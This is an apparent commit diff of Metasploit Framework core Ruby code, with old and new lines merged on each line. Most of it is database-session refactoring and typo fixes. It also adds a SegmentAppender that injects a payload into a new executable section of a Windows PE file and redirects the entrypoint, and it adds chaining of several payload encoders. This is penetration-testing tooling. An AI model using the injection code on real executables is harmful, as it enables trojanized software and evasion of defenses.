refs.push('CVE-' + /C..-([0-9\-]{9})/.match(ref.elements['ID'].text.to_s)[1]) refs.push('CVE-' + /C..-([0-9\-]{9,})/.match(ref.elements['ID'].text.to_s)[1])
end end
vuln.elements.each('BUGTRAQ_ID_LIST/BUGTRAQ_ID') do |ref| vuln.elements.each('BUGTRAQ_ID_LIST/BUGTRAQ_ID') do |ref|
refs.push('BID-' + ref.elements['ID'].text.to_s) refs.push('BID-' + ref.elements['ID'].text.to_s)

View File

@ -85,7 +85,7 @@ module Msf::DBManager::Service
end end
=end =end
proto = opts[:proto] || 'tcp' proto = opts[:proto] || Msf::DBManager::DEFAULT_SERVICE_PROTO
service = host.services.where(port: opts[:port].to_i, proto: proto).first_or_initialize service = host.services.where(port: opts[:port].to_i, proto: proto).first_or_initialize
opts.each { |k,v| opts.each { |k,v|
@ -126,4 +126,4 @@ module Msf::DBManager::Service
wspace.services.includes(:host).where(conditions).order("hosts.address, port") wspace.services.includes(:host).where(conditions).order("hosts.address, port")
} }
end end
end end

View File

@ -49,7 +49,7 @@ module Msf::DBManager::Session
# Creates an Mdm::Session from Mdm::Host. # Creates an Mdm::Session from Mdm::Host.
# #
# @param opts [Hash{Symbol => Object}] options # @param opts [Hash{Symbol => Object}] options
# @option opts [DateTime, Time] :closed_at The date and time the sesion was # @option opts [DateTime, Time] :closed_at The date and time the session was
# closed. # closed.
# @option opts [String] :close_reason Reason the session was closed. # @option opts [String] :close_reason Reason the session was closed.
# @option opts [Hash] :datastore {Msf::DataStore#to_h}. # @option opts [Hash] :datastore {Msf::DataStore#to_h}.
@ -74,101 +74,71 @@ module Msf::DBManager::Session
# @raise [ActiveRecord::RecordInvalid] if session is invalid and cannot be # @raise [ActiveRecord::RecordInvalid] if session is invalid and cannot be
# saved. # saved.
# #
# @raise ArgumentError if :host and :session is +nil+ # @raise ArgumentError if :host and :session are both +nil+
def report_session(opts) def report_session(opts)
return if not active return if not active
::ActiveRecord::Base.connection_pool.with_connection { ::ActiveRecord::Base.connection_pool.with_connection {
if opts[:session] if opts[:session]
raise ArgumentError.new("Invalid :session, expected Msf::Session") unless opts[:session].kind_of? Msf::Session
session = opts[:session] session = opts[:session]
wspace = opts[:workspace] || find_workspace(session.workspace) s = create_mdm_session_from_session(opts)
h_opts = { } session.db_record = s
h_opts[:host] = normalize_host(session)
h_opts[:arch] = session.arch if session.respond_to?(:arch) and session.arch
h_opts[:workspace] = wspace
host = find_or_create_host(h_opts)
sess_data = {
:host_id => host.id,
:stype => session.type,
:desc => session.info,
:platform => session.platform,
:via_payload => session.via_payload,
:via_exploit => session.via_exploit,
:routes => [],
:datastore => session.exploit_datastore.to_h,
:port => session.session_port,
:opened_at => Time.now.utc,
:last_seen => Time.now.utc,
:local_id => session.sid
}
elsif opts[:host] elsif opts[:host]
raise ArgumentError.new("Invalid :host, expected Host object") unless opts[:host].kind_of? ::Mdm::Host s = create_mdm_session_from_host(opts)
host = opts[:host]
sess_data = {
:host_id => host.id,
:stype => opts[:stype],
:desc => opts[:desc],
:platform => opts[:platform],
:via_payload => opts[:via_payload],
:via_exploit => opts[:via_exploit],
:routes => opts[:routes] || [],
:datastore => opts[:datastore],
:opened_at => opts[:opened_at],
:closed_at => opts[:closed_at],
:last_seen => opts[:last_seen] || opts[:closed_at],
:close_reason => opts[:close_reason],
}
else else
raise ArgumentError.new("Missing option :session or :host") raise ArgumentError.new("Missing option :session or :host")
end end
ret = {}
# Truncate the session data if necessary wspace = s.workspace
if sess_data[:desc]
sess_data[:desc] = sess_data[:desc][0,255]
end
# In the case of multi handler we cannot yet determine the true if session
# exploit responsible. But we can at least show the parent versus if session.exploit.user_data_is_match?
# just the generic handler: MetasploitDataModels::AutomaticExploitation::MatchResult.create!(
if session and session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule'] match: session.exploit.user_data[:match],
sess_data[:via_exploit] = sess_data[:datastore]['ParentModule'] match_set: session.exploit.user_data[:match_set],
end run: session.exploit.user_data[:run],
state: 'succeeded',
s = ::Mdm::Session.new(sess_data) )
s.save! elsif session.via_exploit
# This is a live session, we know the host is vulnerable to something.
if session and session.exploit_task and session.exploit_task.record infer_vuln_from_session(session, wspace)
session_task = session.exploit_task.record
if session_task.class == Mdm::Task
Mdm::TaskSession.create(:task => session_task, :session => s )
end end
end end
s
}
end
if opts[:session] protected
session.db_record = s
end
# If this is a live session, we know the host is vulnerable to something. # @param session [Msf::Session] A session with a {db_record Msf::Session#db_record}
if opts[:session] and session.via_exploit # @param wspace [Mdm::Workspace]
mod = framework.modules.create(session.via_exploit) # @return [void]
def infer_vuln_from_session(session, wspace)
::ActiveRecord::Base.connection_pool.with_connection {
s = session.db_record
host = s.host
if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule'] if session.via_exploit == "exploit/multi/handler" and session.exploit_datastore['ParentModule']
mod_fullname = sess_data[:datastore]['ParentModule'] mod_fullname = session.exploit_datastore['ParentModule']
mod_name = ::Mdm::Module::Detail.find_by_fullname(mod_fullname).name
else else
mod_name = mod.name mod_fullname = session.via_exploit
mod_fullname = mod.fullname
end end
mod_detail = ::Mdm::Module::Detail.find_by_fullname(mod_fullname)
if mod_detail.nil?
# Then the cache isn't built yet, take the hit for instantiating the
# module
mod_detail = framework.modules.create(mod_fullname)
end
mod_name = mod_detail.name
vuln_info = { vuln_info = {
:host => host.address, exploited_at: Time.now.utc,
:name => mod_name, host: host,
:refs => mod.references, info: "Exploited by #{mod_fullname} to create Session #{s.id}",
:workspace => wspace, name: mod_name,
:exploited_at => Time.now.utc, refs: mod_detail.refs.map(&:name),
:info => "Exploited by #{mod_fullname} to create Session #{s.id}" workspace: wspace,
} }
port = session.exploit_datastore["RPORT"] port = session.exploit_datastore["RPORT"]
@ -178,28 +148,105 @@ module Msf::DBManager::Session
vuln = framework.db.report_vuln(vuln_info) vuln = framework.db.report_vuln(vuln_info)
if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule']
via_exploit = sess_data[:datastore]['ParentModule']
else
via_exploit = session.via_exploit
end
attempt_info = { attempt_info = {
:timestamp => Time.now.utc, host: host,
:workspace => wspace, module: mod_fullname,
:module => via_exploit, refs: mod_detail.refs,
:username => session.username, service: service,
:refs => mod.references, session_id: s.id,
:session_id => s.id, timestamp: Time.now.utc,
:host => host, username: session.username,
:service => service, vuln: vuln,
:vuln => vuln workspace: wspace,
} }
framework.db.report_exploit_success(attempt_info) framework.db.report_exploit_success(attempt_info)
end vuln
}
s
}
end end
end
def create_mdm_session_from_session(opts)
::ActiveRecord::Base.connection_pool.with_connection {
session = opts[:session]
raise ArgumentError.new("Invalid :session, expected Msf::Session") unless session.kind_of? Msf::Session
wspace = opts[:workspace] || find_workspace(session.workspace)
h_opts = { }
h_opts[:host] = normalize_host(session)
h_opts[:arch] = session.arch if session.respond_to?(:arch) and session.arch
h_opts[:workspace] = wspace
host = find_or_create_host(h_opts)
sess_data = {
datastore: session.exploit_datastore.to_h,
desc: truncate_session_desc(session.info),
host_id: host.id,
last_seen: Time.now.utc,
local_id: session.sid,
opened_at: Time.now.utc,
platform: session.platform,
port: session.session_port,
routes: [],
stype: session.type,
via_exploit: session.via_exploit,
via_payload: session.via_payload,
}
# In the case of multi handler we cannot yet determine the true
# exploit responsible. But we can at least show the parent versus
# just the generic handler:
if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule']
sess_data[:via_exploit] = sess_data[:datastore]['ParentModule']
end
s = ::Mdm::Session.create!(sess_data)
if session.exploit_task and session.exploit_task.record
session_task = session.exploit_task.record
if session_task.class == Mdm::Task
Mdm::TaskSession.create(task: session_task, session: s )
end
end
s
}
end
def create_mdm_session_from_host(opts)
::ActiveRecord::Base.connection_pool.with_connection {
host = opts[:host]
raise ArgumentError.new("Invalid :host, expected Host object") unless host.kind_of? ::Mdm::Host
sess_data = {
host_id: host.id,
stype: opts[:stype],
desc: truncate_session_desc(opts[:desc]),
platform: opts[:platform],
via_payload: opts[:via_payload],
via_exploit: opts[:via_exploit],
routes: opts[:routes] || [],
datastore: opts[:datastore],
opened_at: opts[:opened_at],
closed_at: opts[:closed_at],
last_seen: opts[:last_seen] || opts[:closed_at],
close_reason: opts[:close_reason],
}
s = ::Mdm::Session.create!(sess_data)
s
}
end
# Truncate the session data if necessary
#
# @param desc [String]
# @return [String] +desc+ truncated to the max length of the desc column
def truncate_session_desc(desc)
# Truncate the session data if necessary
if desc
desc = desc[0, ::Mdm::Session.columns_hash['desc'].limit]
end
desc
end
end

View File

@ -43,8 +43,8 @@ module Msf::DBManager::WMAP
} }
end end
# This method iterates the requests table identifiying possible targets # This method iterates the requests table identifying possible targets
# This method wiil be remove on second phase of db merging. # This method will be removed on second phase of db merging.
def each_distinct_target(&block) def each_distinct_target(&block)
request_distinct_targets.each do |target| request_distinct_targets.each do |target|
block.call(target) block.call(target)
@ -111,7 +111,7 @@ module Msf::DBManager::WMAP
end end
# This method returns a list of all possible targets available in requests # This method returns a list of all possible targets available in requests
# This method wiil be remove on second phase of db merging. # This method will be removed on second phase of db merging.
def request_distinct_targets def request_distinct_targets
::ActiveRecord::Base.connection_pool.with_connection { ::ActiveRecord::Base.connection_pool.with_connection {
::Mdm::WmapRequest.select('DISTINCT host,address,port,ssl') ::Mdm::WmapRequest.select('DISTINCT host,address,port,ssl')
@ -186,4 +186,4 @@ module Msf::DBManager::WMAP
::Mdm::WmapTarget.all ::Mdm::WmapTarget.all
} }
end end
end end

View File

@ -49,8 +49,6 @@ class EncodedPayload
self.nop_sled = nil self.nop_sled = nil
self.encoder = nil self.encoder = nil
self.nop = nil self.nop = nil
self.iterations = reqs['Iterations'].to_i
self.iterations = 1 if self.iterations < 1
# Increase thread priority as necessary. This is done # Increase thread priority as necessary. This is done
# to ensure that the encoding and sled generation get # to ensure that the encoding and sled generation get
@ -71,8 +69,27 @@ class EncodedPayload
# Generate the raw version of the payload first # Generate the raw version of the payload first
generate_raw() if self.raw.nil? generate_raw() if self.raw.nil?
# Encode the payload # If encoder is set, it could be an encoders list
encode() # The form is "<encoder>:<iteration>, <encoder2>:<iteration>"...
if reqs['Encoder']
encoder_str = reqs['Encoder']
encoder_str.scan(/([^:, ]+):?([^,]+)?/).map do |encoder_opt|
reqs['Encoder'] = encoder_opt[0]
self.iterations = (encoder_opt[1] || reqs['Iterations']).to_i
self.iterations = 1 if self.iterations < 1
# Encode the payload with every encoders in the list
encode()
# Encoded payload is now the raw payload to be encoded by the next encoder
self.raw = self.encoded
end
else
self.iterations = reqs['Iterations'].to_i
self.iterations = 1 if self.iterations < 1
# No specified encoder, let BadChars or ForceEncode do their job
encode()
end
# Build the NOP sled # Build the NOP sled
generate_sled() generate_sled()
@ -110,7 +127,7 @@ class EncodedPayload
def encode def encode
# If the exploit has bad characters, we need to run the list of encoders # If the exploit has bad characters, we need to run the list of encoders
# in ranked precedence and try to encode without them. # in ranked precedence and try to encode without them.
if reqs['BadChars'] or reqs['Encoder'] or reqs['ForceEncode'] if reqs['BadChars'].to_s.length > 0 or reqs['Encoder'] or reqs['ForceEncode']
encoders = pinst.compatible_encoders encoders = pinst.compatible_encoders
# Make sure the encoder name from the user has the same String#encoding # Make sure the encoder name from the user has the same String#encoding
@ -165,7 +182,7 @@ class EncodedPayload
next next
end end
# If the caller explictly requires register preservation, make sure # If the caller explicitly requires register preservation, make sure
# that the module in question can handle it. This is mostly used by # that the module in question can handle it. This is mostly used by
# the stage encoder path. # the stage encoder path.
if (reqs['ForceSaveRegisters'] and if (reqs['ForceSaveRegisters'] and

View File

@ -99,7 +99,7 @@ class Encoder < Module
# #
NonAlpha = "non_alpha" NonAlpha = "non_alpha"
# #
# tolower safe ascii - not 'A' - 'Z' (more flexable than nonalpha) # tolower safe ascii - not 'A' - 'Z' (more flexible than nonalpha)
# #
NonUpper = "non_upper" NonUpper = "non_upper"
# #

View File

@ -0,0 +1,51 @@
# -*- coding: binary -*-
module Msf
module Exe
require 'metasm'
require 'msf/core/exe/segment_injector'
class SegmentAppender < SegmentInjector
def payload_stub(prefix)
# TODO: Implement possibly helpful payload obfuscation
asm = "new_entrypoint:\n#{prefix}\n"
shellcode = Metasm::Shellcode.assemble(processor, asm)
shellcode.encoded + @payload
end
def generate_pe
# Copy our Template into a new PE
pe_orig = Metasm::PE.decode_file(template)
pe = pe_orig.mini_copy
# Copy the headers and exports
pe.mz.encoded = pe_orig.encoded[0, pe_orig.coff_offset-4]
pe.mz.encoded.export = pe_orig.encoded[0, 512].export.dup
pe.header.time = pe_orig.header.time
# Don't rebase if we can help it since Metasm doesn't do relocations well
pe.optheader.dll_characts.delete("DYNAMIC_BASE")
# TODO: Look at supporting DLLs in the future
prefix = ''
# Create a new section
s = Metasm::PE::Section.new
s.name = '.' + Rex::Text.rand_text_alpha_lower(4)
s.encoded = payload_stub prefix
s.characteristics = %w[MEM_READ MEM_WRITE MEM_EXECUTE]
pe.sections << s
pe.invalidate_header
# Change the entrypoint to our new section
pe.optheader.entrypoint = 'new_entrypoint'
pe.cpu = pe_orig.cpu
pe.encode_string
end
end
end
end

View File

@ -59,20 +59,11 @@ module Exe
EOS EOS
end end
def payload_as_asm
asm = ''
@payload.each_byte do |byte|
asm << "db " + sprintf("0x%02x", byte) + "\n"
end
return asm
end
def payload_stub(prefix) def payload_stub(prefix)
asm = "hook_entrypoint:\n#{prefix}\n" asm = "hook_entrypoint:\n#{prefix}\n"
asm << create_thread_stub asm << create_thread_stub
asm << payload_as_asm
shellcode = Metasm::Shellcode.assemble(processor, asm) shellcode = Metasm::Shellcode.assemble(processor, asm)
shellcode.encoded shellcode.encoded + @payload
end end
def generate_pe def generate_pe

View File

@ -866,7 +866,7 @@ class Exploit < Msf::Module
# #
# Minimum number of nops to use as a hint to the framework. # Minimum number of nops to use as a hint to the framework.
# Nil snigifies that the framework should decide. # Nil signifies that the framework should decide.
# #
def payload_min_nops(explicit_target = nil) def payload_min_nops(explicit_target = nil)
explicit_target ||= target explicit_target ||= target
@ -1218,10 +1218,31 @@ class Exploit < Msf::Module
# Failure tracking # Failure tracking
## ##
# Raises a Msf::Exploit::Failed exception. It overrides the fail_with method
# in lib/msf/core/module.rb
#
# @param reason [String] A constant from Msf::Module::Failure.
# If the reason does not come from there, then it will default to
# Msf::Module::Failure::Unknown.
# @param msg [String] (Optional) A message about the failure.
# @raise [Msf::Exploit::Failed] A custom Msf::Exploit::Failed exception.
# @return [void]
# @see Msf::Module::Failure
# @see Msf::Module#fail_with
# @example
# fail_with(Msf::Module::Failure::NoAccess, 'Unable to login to upload payload')
def fail_with(reason,msg=nil) def fail_with(reason,msg=nil)
self.fail_reason = reason # The reason being registered here will be used later on, so it's important we don't actually
# provide a made-up one.
allowed_values = Msf::Module::Failure.constants.collect {|e| Msf::Module::Failure.const_get(e)}
if allowed_values.include?(reason)
self.fail_reason = reason
else
self.fail_reason = Msf::Module::Failure::Unknown
end
self.fail_detail = msg self.fail_detail = msg
raise Msf::Exploit::Failed, (msg || "No reason given") raise Msf::Exploit::Failed, (msg || "No failure message given")
end end
def report_failure def report_failure
@ -1276,7 +1297,7 @@ class Exploit < Msf::Module
## ##
# #
# The reason why the exploit was not successful (one of Msf::Exploit::FailReason) # The reason why the exploit was not successful (one of Msf::Module::Failure)
# #
attr_accessor :fail_reason attr_accessor :fail_reason
@ -1393,4 +1414,3 @@ protected
end end
end end

View File

@ -228,14 +228,14 @@ module Exploit::Remote::AFP
parsed_data[:machine_type] = read_pascal_string(body, machine_type_offset) parsed_data[:machine_type] = read_pascal_string(body, machine_type_offset)
parsed_data[:versions] = read_array(body, afp_versions_offset) parsed_data[:versions] = read_array(body, afp_versions_offset)
parsed_data[:uams] = read_array(body, uam_count_offset) parsed_data[:uams] = read_array(body, uam_count_offset)
# skiped icon # skipped icon
parsed_data[:server_flags] = parse_flags(server_flags) parsed_data[:server_flags] = parse_flags(server_flags)
parsed_data[:signature] = body.unpack("@#{server_signature_offset}H32").first parsed_data[:signature] = body.unpack("@#{server_signature_offset}H32").first
network_addresses = read_array(body, network_addresses_offset, true) network_addresses = read_array(body, network_addresses_offset, true)
parsed_data[:network_addresses] = parse_network_addresses(network_addresses) parsed_data[:network_addresses] = parse_network_addresses(network_addresses)
# skiped directory names # skipped directory names
#Error catching for offset issues on this field. Need better error ahndling all through here #Error catching for offset issues on this field. Need better error handling all through here
begin begin
parsed_data[:utf8_server_name] = read_utf8_pascal_string(body, utf8_servername_offset) parsed_data[:utf8_server_name] = read_utf8_pascal_string(body, utf8_servername_offset)
rescue rescue
@ -289,7 +289,7 @@ module Exploit::Remote::AFP
parsed_addreses << IPAddr.ntop(address[1..4]).to_s parsed_addreses << IPAddr.ntop(address[1..4]).to_s
when 2 # Four-byte IP address followed by a two-byte port number when 2 # Four-byte IP address followed by a two-byte port number
parsed_addreses << "#{IPAddr.ntop(address[1..4])}:#{address[5..6].unpack("n").first}" parsed_addreses << "#{IPAddr.ntop(address[1..4])}:#{address[5..6].unpack("n").first}"
when 3 # DDP address (depricated) when 3 # DDP address (deprecated)
next next
when 4 # DNS name (maximum of 254 bytes) when 4 # DNS name (maximum of 254 bytes)
parsed_addreses << address[1..address.length - 1] parsed_addreses << address[1..address.length - 1]

View File

@ -5,7 +5,7 @@ module Msf
# #
# This module provides methods for sending and receiving # This module provides methods for sending and receiving
# raw packets. It should be preferred over the soon-to-be # raw packets. It should be preferred over the soon-to-be
# deprecated Rex::Socket::Ip and Msf::Exploite::Remote::Ip # deprecated Rex::Socket::Ip and Msf::Exploit::Remote::Ip
# mixins. # mixins.
# #
# Please see the pcaprub documentation for more information # Please see the pcaprub documentation for more information
@ -379,7 +379,7 @@ module Msf
self.arp_cache = {} self.arp_cache = {}
end end
# For compatabilty with Msf::Exploit::Remote::Ip # For compatibilty with Msf::Exploit::Remote::Ip
def rhost def rhost
datastore['RHOST'] datastore['RHOST']
end end
@ -450,7 +450,7 @@ module Msf
end end
end end
# This function is usefull only on windows where pcaprub use the GUID # This function is useful only on windows where pcaprub use the GUID
def get_interface_guid(dev) def get_interface_guid(dev)
check_pcaprub_loaded check_pcaprub_loaded
if RUBY_PLATFORM == "i386-mingw32" if RUBY_PLATFORM == "i386-mingw32"
@ -473,7 +473,7 @@ module Msf
dev = get_interface_guid(dev) dev = get_interface_guid(dev)
addrs = NetworkInterface.addresses(dev) addrs = NetworkInterface.addresses(dev)
raise RuntimeError, "Interface #{dev} does not exist" if !addrs raise RuntimeError, "Interface #{dev} does not exist" if !addrs
raise RuntimeError, "Can not get mac address for interface #{dev}" if !addrs[NetworkInterface::AF_LINK][0]['addr'] raise RuntimeError, "Cannot get mac address for interface #{dev}" if !addrs[NetworkInterface::AF_LINK][0]['addr']
addrs[NetworkInterface::AF_LINK][0]['addr'] addrs[NetworkInterface::AF_LINK][0]['addr']
end end
@ -491,7 +491,7 @@ module Msf
addrs = NetworkInterface.addresses(dev) addrs = NetworkInterface.addresses(dev)
raise RuntimeError, "Interface #{dev} does not exist" if !addrs raise RuntimeError, "Interface #{dev} does not exist" if !addrs
raise RuntimeError, "Interface #{dev} does not have an ipv4 address at position #{num}" if addrs[NetworkInterface::AF_INET].length < num + 1 raise RuntimeError, "Interface #{dev} does not have an ipv4 address at position #{num}" if addrs[NetworkInterface::AF_INET].length < num + 1
raise RuntimeError, "Can not get the IPv4 address for interface #{dev}" if !addrs[NetworkInterface::AF_INET][num]['addr'] raise RuntimeError, "Cannot get the IPv4 address for interface #{dev}" if !addrs[NetworkInterface::AF_INET][num]['addr']
addrs[NetworkInterface::AF_INET][num]['addr'] addrs[NetworkInterface::AF_INET][num]['addr']
end end
@ -501,7 +501,7 @@ module Msf
addrs = NetworkInterface.addresses(dev) addrs = NetworkInterface.addresses(dev)
raise RuntimeError, "Interface #{dev} does not exist" if !addrs raise RuntimeError, "Interface #{dev} does not exist" if !addrs
raise RuntimeError, "Interface #{dev} does not have an ipv4 address at position #{num}" if addrs[NetworkInterface::AF_INET].length < num + 1 raise RuntimeError, "Interface #{dev} does not have an ipv4 address at position #{num}" if addrs[NetworkInterface::AF_INET].length < num + 1
raise RuntimeError, "Can not get IPv4 netmask for interface #{dev}" if !addrs[NetworkInterface::AF_INET][num]['netmask'] raise RuntimeError, "Cannot get IPv4 netmask for interface #{dev}" if !addrs[NetworkInterface::AF_INET][num]['netmask']
addrs[NetworkInterface::AF_INET][num]['netmask'] addrs[NetworkInterface::AF_INET][num]['netmask']
end end
@ -511,7 +511,7 @@ module Msf
addrs = NetworkInterface.addresses(dev) addrs = NetworkInterface.addresses(dev)
raise RuntimeError, "Interface #{dev} do not exists" if !addrs raise RuntimeError, "Interface #{dev} do not exists" if !addrs
raise RuntimeError, "Interface #{dev} do not have an ipv4 address at position #{num}" if addrs[NetworkInterface::AF_INET].length < num + 1 raise RuntimeError, "Interface #{dev} do not have an ipv4 address at position #{num}" if addrs[NetworkInterface::AF_INET].length < num + 1
raise RuntimeError, "Can not get IPv4 broadcast address for interface #{dev}" if !addrs[NetworkInterface::AF_INET][num]['broadcast'] raise RuntimeError, "Cannot get IPv4 broadcast address for interface #{dev}" if !addrs[NetworkInterface::AF_INET][num]['broadcast']
addrs[NetworkInterface::AF_INET][num]['broadcast'] addrs[NetworkInterface::AF_INET][num]['broadcast']
end end
@ -532,7 +532,7 @@ module Msf
addrs = NetworkInterface.addresses(dev) addrs = NetworkInterface.addresses(dev)
raise RuntimeError, "Interface #{dev} do not exists" if !addrs raise RuntimeError, "Interface #{dev} do not exists" if !addrs
raise RuntimeError, "Interface #{dev} do not have an ipv6 address at position #{num}" if addrs[NetworkInterface::AF_INET6].length < num + 1 raise RuntimeError, "Interface #{dev} do not have an ipv6 address at position #{num}" if addrs[NetworkInterface::AF_INET6].length < num + 1
raise RuntimeError, "Can not get ipv6 address for interface #{dev}" if !addrs[NetworkInterface::AF_INET6][num]['addr'] raise RuntimeError, "Cannot get ipv6 address for interface #{dev}" if !addrs[NetworkInterface::AF_INET6][num]['addr']
addrs[NetworkInterface::AF_INET6][num]['addr'].gsub(/%(.)*$/, '') addrs[NetworkInterface::AF_INET6][num]['addr'].gsub(/%(.)*$/, '')
end end
@ -543,7 +543,7 @@ module Msf
addrs = NetworkInterface.addresses(dev) addrs = NetworkInterface.addresses(dev)
raise RuntimeError, "Interface #{dev} do not exists" if !addrs raise RuntimeError, "Interface #{dev} do not exists" if !addrs
raise RuntimeError, "Interface #{dev} do not have an ipv6 address at position #{num}" if addrs[NetworkInterface::AF_INET6].length < num + 1 raise RuntimeError, "Interface #{dev} do not have an ipv6 address at position #{num}" if addrs[NetworkInterface::AF_INET6].length < num + 1
raise RuntimeError, "Can not get ipv6 netmask address for interface #{dev}" if !addrs[NetworkInterface::AF_INET6][num]['netmask'] raise RuntimeError, "Cannot get ipv6 netmask address for interface #{dev}" if !addrs[NetworkInterface::AF_INET6][num]['netmask']
addrs[NetworkInterface::AF_INET6][num]['netmask'] addrs[NetworkInterface::AF_INET6][num]['netmask']
end end

View File

@ -108,7 +108,7 @@ module Exploit::CmdStager
# @option opts :decoder [Symbol] The decoder stub to use. # @option opts :decoder [Symbol] The decoder stub to use.
# @param pl [String] String containing the payload to execute # @param pl [String] String containing the payload to execute
# @return [Array] The list of commands to execute # @return [Array] The list of commands to execute
# @raise [ArgumentError] raised if the cmd stub can not be generated # @raise [ArgumentError] raised if the cmd stub cannot be generated
def generate_cmdstager(opts = {}, pl = nil) def generate_cmdstager(opts = {}, pl = nil)
select_cmdstager(opts) select_cmdstager(opts)
@ -138,12 +138,12 @@ module Exploit::CmdStager
# Selects the correct cmd stager and decoder stub to use # Selects the correct cmd stager and decoder stub to use
# #
# @param opts [Hash] Hash containing the options to select te correct cmd # @param opts [Hash] Hash containing the options to select the correct cmd
# stager and decoder. # stager and decoder.
# @option opts :flavor [Symbol] The cmd stager to use. # @option opts :flavor [Symbol] The cmd stager to use.
# @option opts :decoder [Symbol] The decoder stub to use. # @option opts :decoder [Symbol] The decoder stub to use.
# @return [void] # @return [void]
# @raise [ArgumentError] raised if a cmd stager can not be selected or it # @raise [ArgumentError] raised if a cmd stager cannot be selected or it
# isn't compatible with the target platform. # isn't compatible with the target platform.
def select_cmdstager(opts = {}) def select_cmdstager(opts = {})
self.flavor = select_flavor(opts) self.flavor = select_flavor(opts)
@ -188,11 +188,11 @@ module Exploit::CmdStager
# user through datastore options, (3) select the default decoder for the # user through datastore options, (3) select the default decoder for the
# current cmd stager flavor if available. # current cmd stager flavor if available.
# #
# @param opts [Hash] Hash containing the options to select te correct # @param opts [Hash] Hash containing the options to select the correct
# decoder. # decoder.
# @option opts :decoder [String] The decoder stub to use. # @option opts :decoder [String] The decoder stub to use.
# @return [String] The decoder. # @return [String] The decoder.
# @return [nil] if a decoder can not be selected. # @return [nil] if a decoder cannot be selected.
def select_decoder(opts = {}) def select_decoder(opts = {})
return opts[:decoder] if opts.include?(:decoder) return opts[:decoder] if opts.include?(:decoder)
return datastore['CMDSTAGER::DECODER'] unless datastore['CMDSTAGER::DECODER'].blank? return datastore['CMDSTAGER::DECODER'] unless datastore['CMDSTAGER::DECODER'].blank?
@ -203,11 +203,11 @@ module Exploit::CmdStager
# flavor provided in options, (2) use the flavor provided by the user # flavor provided in options, (2) use the flavor provided by the user
# through datastore options, (3) guess the flavor using the target platform. # through datastore options, (3) guess the flavor using the target platform.
# #
# @param opts [Hash] Hash containing the options to select te correct cmd # @param opts [Hash] Hash containing the options to select the correct cmd
# stager # stager
# @option opts :flavor [Symbol] The cmd stager flavor to use. # @option opts :flavor [Symbol] The cmd stager flavor to use.
# @return [Symbol] The flavor to use. # @return [Symbol] The flavor to use.
# @return [nil] if a flavor can not be selected. # @return [nil] if a flavor cannot be selected.
def select_flavor(opts = {}) def select_flavor(opts = {})
return opts[:flavor].to_sym if opts.include?(:flavor) return opts[:flavor].to_sym if opts.include?(:flavor)
unless datastore['CMDSTAGER::FLAVOR'].blank? or datastore['CMDSTAGER::FLAVOR'] == 'auto' unless datastore['CMDSTAGER::FLAVOR'].blank? or datastore['CMDSTAGER::FLAVOR'] == 'auto'
@ -220,7 +220,7 @@ module Exploit::CmdStager
# target or platform. # target or platform.
# #
# @return [Symbol] The cmd stager flavor to use. # @return [Symbol] The cmd stager flavor to use.
# @return [nil] if the cmd stager flavor can not be guessed. # @return [nil] if the cmd stager flavor cannot be guessed.
def guess_flavor def guess_flavor
# First try to guess a compatible flavor based on the module & target information. # First try to guess a compatible flavor based on the module & target information.
unless target_flavor.nil? unless target_flavor.nil?
@ -252,7 +252,7 @@ module Exploit::CmdStager
end end
# Returns all the compatible stager flavors specified by the module and each # Returns all the compatible stager flavors specified by the module and each
# of it's targets. # of its targets.
# #
# @return [Array] the list of all compatible cmd stager flavors. # @return [Array] the list of all compatible cmd stager flavors.
def module_flavors def module_flavors

View File

@ -54,7 +54,7 @@ module Exploit::FileDropper
# We need to be platform-independent here. Since we can't be # We need to be platform-independent here. Since we can't be
# certain that {#target} is accurate because exploits with # certain that {#target} is accurate because exploits with
# automatic targets frequently change it, we just go ahead and # automatic targets frequently change it, we just go ahead and
# run both a windows and a unixy command in the same line. One # run both a windows and a unix command in the same line. One
# of them will definitely fail and the other will probably # of them will definitely fail and the other will probably
# succeed. Doing it this way saves us an extra round-trip. # succeed. Doing it this way saves us an extra round-trip.
# Trick shared by @mihi42 # Trick shared by @mihi42

View File

@ -238,7 +238,7 @@ module Exploit::FormatString
# no need to advance :) # no need to advance :)
return "" if prec == 0 return "" if prec == 0
# asumming %x max normal length is 8... # assuming %x max normal length is 8...
if prec >= 8 if prec >= 8
return "%0" + prec.to_s + "x" return "%0" + prec.to_s + "x"
end end

View File

@ -211,7 +211,7 @@ module Exploit::Remote::Ftp
# dispatch to the proper method # dispatch to the proper method
if (type == "get") if (type == "get")
# failed listings jsut disconnect.. # failed listings just disconnect..
begin begin
data = self.datasocket.get_once(-1, ftp_timeout) data = self.datasocket.get_once(-1, ftp_timeout)
rescue ::EOFError rescue ::EOFError

View File

@ -24,7 +24,7 @@ module Exploit::Remote::Gdb
# thrown when a checksum is invalid # thrown when a checksum is invalid
class BadChecksumError < RuntimeError; end class BadChecksumError < RuntimeError; end
# Default list of supported GDB features to send the to the target # Default list of supported GDB features to send them to the target
GDB_FEATURES = 'qSupported:multiprocess+;qRelocInsn+;qvCont+;' GDB_FEATURES = 'qSupported:multiprocess+;qRelocInsn+;qvCont+;'
# Maps index of register in GDB that holds $PC to architecture # Maps index of register in GDB that holds $PC to architecture

View File

@ -229,7 +229,7 @@ module Exploit::Remote::HttpServer
print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}") print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
if (opts['ServerHost'] == '0.0.0.0') if (opts['ServerHost'] == '0.0.0.0')
print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}") print_status("Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
end end
add_resource(uopts) add_resource(uopts)
@ -305,7 +305,7 @@ module Exploit::Remote::HttpServer
when /opera\/(\d+(:?\.\d+)*)/ when /opera\/(\d+(:?\.\d+)*)/
fp[:ua_name] = HttpClients::OPERA fp[:ua_name] = HttpClients::OPERA
fp[:ua_ver] = $1 fp[:ua_ver] = $1
